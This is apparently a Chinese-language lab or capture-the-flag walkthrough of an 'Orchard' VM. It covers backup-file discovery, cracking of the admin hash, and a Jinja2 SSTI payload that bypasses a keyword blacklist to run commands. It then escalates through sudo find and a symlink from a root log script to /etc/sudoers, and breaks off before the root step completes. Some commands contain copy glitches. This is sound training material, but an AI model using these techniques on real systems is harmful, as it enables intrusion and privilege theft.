

Nmap

```
[/home/kali/temp]$ nmap 192.168.56.198 -A -p-

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
80/tcp    open  http      nginx
|_http-title: Orchard Management System
| http-robots.txt: 4 disallowed entries
|_/admin/ /backup/ /dev/ /api/v2/
```

Backup

访问 `/backup/` 目录，得到两个文件

```
[/home/kali/temp]$ curl http://192.168.56.198/backup/

<html>

<head><title>Index of /backup/</title></head>

<body>

<h1>Index of /backup/</h1><hr><pre><a href="..">../</a>

<a href="config.bak">config.bak</a>

13-Jul-2026 03:43      111

<a href="orchard.db">orchard.db</a>

13-Jul-2026 03:43      24K

</pre><hr></body>

</html>
```

读取备份配置

```
[/home/kali/temp]$ cat config.bak

# Orchard System Configuration

DB_PATH = "/opt/orchard/data/orchard.db"

FLASK_ENV = "development"
```

```
DEBUG = True
```

读取数据库文件

```
[/home/kali/temp]$ sqlite3 orchard.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
products  reports  users
sqlite> select * from users;
1|admin|$1$DePmfguF$MC9RGpIsLoloTaxkRKUxQ1|admin|admin@orchard.local
2|manager|$1$ch/3x.vf$G0A59Ev8objb1falGJdJOG0|manager|manager@orchard.local
3|picker|$1$WVTTBQHm$VKOMmplH4iLYuzFKzUjNJ.|user|picker@orchard.local
sqlite>
```

直接爆破 **admin** 的密码，得到密码 `candygirl`

```
[/home/kali/temp]$ cat hash.txt
$1$DePmfguF$MC9RGpIsLoloTaxkRKUxQ1

[/home/kali/temp]$ john hash.txt --
wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized
as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type
instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128
AVX 4x3])
No password hashes left to crack (see FAQ)
[/home/kali/temp]$ john hash.txt --show
?:candygirl

1 password hash cracked, 0 left
```

SSTI

来到 `/login` 界面，用 `admin:candygirl` 登陆到后台，访问 `/admin/export` 可以导出 Jinja2 模板

192.168.56.198/admin/export

Kali DocsKali ForumsKali NetHunterExploit-DBGoogle Hacking DBOffSec离线IP地址查询

Export Report

Create a custom inventory report using Jinja2 template syntax.

Report Title:

Monthly Inventory Report

Template:

```
<h3></h3>
<p>Generated by: admin</p>
<table border="1">
<tr><th>Name</th><th>Qty</th><th>Value</th></tr>
{{lipsum.__globals__.__getitem__('os').popen('cat /f*').read()}}
</table>
<p>Total products: 0</p>
```

Generate Report

Error: Template security check failed: Pattern 'os' is not allowed in templates

尝试经典 **payload** 后，发现字符串 `os` 存在黑名单检测，但是 **python** 语言中是可以直接字符串拼接的，如下

Report Title:

Monthly Inventory Report

Template:

```
<h3></h3>
<p>Generated by: admin</p>
<table border="1">
<tr><th>Name</th><th>Qty</th><th>Value</th></tr>
{{lipsum.__globals__.__getitem__('o'+ 's').popen('id').read()}}
</table>
<p>Total products: 0</p>
```

Generate Report

Generated Report:

Generated by: admin
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Name	Qty	Value
Total products: 0		

```
{{lipsum.__globals__.__getitem__('o'+s').popen('id').read()}}
```

然后正常反弹 **shell** 拿到 **www-data**

User

查看 **sudo -l**

```
www-data@orchard:/opt/orchard$ sudo -l

Matching Defaults entries for www-data on localhost:

    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/b
in

User www-data may run the following commands on localhost:

    (appuser) NOPASSWD: /usr/bin/find
```

可以直接查表 [find | GTFOBins](#)，通过 **find** 命令获取到 **appuser** 的权限

```
www-data@orchard:/opt/orchard$ sudo -u appuser find . -exec /bin/bash \; -
quit

appuser@orchard:/opt/orchard$ id

uid=1000(appuser) gid=1000(appuser) groups=1000(appuser)

appuser@orchard:/opt/orchard$
```

Root

再看 **sudo**

```
appuser@orchard:/opt/orchard$ sudo -l

Matching Defaults entries for appuser on localhost:

    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/b
in
```

User appuser may run the following commands on localhost:

```
(root) NOPASSWD: /opt/orchard/logctl.sh
```

查看一下这个 **logctl.sh** 的内容

```
#!/bin/bash

set -e

CMD="$1"; NAME="$2"

LOGDIR="/var/log/orchard"

if [ -z "$CMD" ] || [ -z "$NAME" ]; then
    echo "Usage: $0 <archive|clean|write> <name>"; exit 1
fi

[[ "$NAME" =~ \.\. ] ] && { echo "ERROR: path traversal blocked"; exit 1; }
[[ "$NAME" =~ / ] ] && { echo "ERROR: slashes not allowed"; exit 1; }
[[ "$NAME" =~ [*?] ] ] && { echo "ERROR: wildcards not allowed"; exit 1; }

NAME_CLEAN="${NAME//[a-zA-Z0-9_.-]/}"
LOGFILE="$LOGDIR/${NAME_CLEAN}.log"

case "$CMD" in
    archive)
        [ -f "$LOGFILE" ] || { echo "ERROR: $LOGFILE not found"; exit 1; }
        mkdir -p /backups
        gzip -c "$LOGFILE" > "/backups/${NAME_CLEAN}.log.gz"
        echo "OK: archived $LOGFILE" ;;
    clean)
        [ -f "$LOGFILE" ] || { echo "ERROR: $LOGFILE not found"; exit 1; }
        : > "$LOGFILE"
        echo "OK: cleaned $LOGFILE" ;;
    write)
        mkdir -p "$LOGDIR"
```

```

        cat >> "$LOGFILE"

        echo "OK: appended to $LOGFILE" ;;

*)    echo "ERROR: unknown command"; exit 1 ;;

esac

```

这是一个日志管理脚本，在 `/var/log/orchard/` 目录下操作日志文件：

- **archive** - 压缩备份到 `/backups/`
- **clean** - 清空日志
- **write** - 追加内容

限制：文件名只能用字母数字 `._-`，不能用 `.. / * ?`

经过测试发现可以任意文件写入，不过只是追加

```

appuser@orchard:/opt/orchard$ sudo -l
Matching Defaults entries for appuser on localhost:

    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/b
in

User appuser may run the following commands on localhost:

    (root) NOPASSWD: /opt/orchard/logctl.sh
appuser@orchard:/opt/orchard$ echo 'hello' | sudo -u root
/opt/orchard/logctl.sh hello
Usage: /opt/orchard/logctl.sh <archive|clean|write> <name>
appuser@orchard:/opt/orchard$ echo 'hello' | sudo -u root
/opt/orchard/logctl.sh write hello
OK: appended to /var/log/orchard/hello.log
appuser@orchard:/opt/orchard$ cat /var/log/orchard/hello.log
hello

```

那方法就很多了，这里就给自己添加一条 **sudoers** 权限吧

```

appuser@orchard:/opt/orchard$ ln -sf /etc/sudoers /var/log/orchard/sudo.log

```

